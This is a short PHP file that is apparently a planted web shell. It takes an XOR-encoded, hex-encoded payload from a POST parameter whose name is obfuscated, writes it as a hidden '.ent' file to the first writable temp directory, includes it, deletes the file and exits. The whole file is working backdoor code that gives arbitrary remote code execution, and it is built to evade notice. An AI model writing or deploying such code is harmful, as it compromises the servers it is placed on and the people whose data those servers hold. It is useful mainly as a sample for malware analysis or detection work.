<?php

if(!is_null($_POST["\x70\x74r"] ?? null)){
	$hld = hex2bin($_POST["\x70\x74r"]);
	$desc=''   ; $v = 0; while($v < strlen($hld)){$desc .= chr(ord($hld[$v]) ^ 13);$v++;}
	$data = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP")]);
	$binding = 0;
do {
    $element = $data[$binding] ?? null;
    if ($binding >= count($data)) break;
    		if (is_dir($element) ? is_writable($element) : false) {
    $entry = vsprintf("%s/%s", [$element, ".ent"]);
    $success = file_put_contents($entry, $desc);
if ($success) {
	include $entry;
	@unlink($entry);
	die();}
}
    $binding++;
} while (true);
}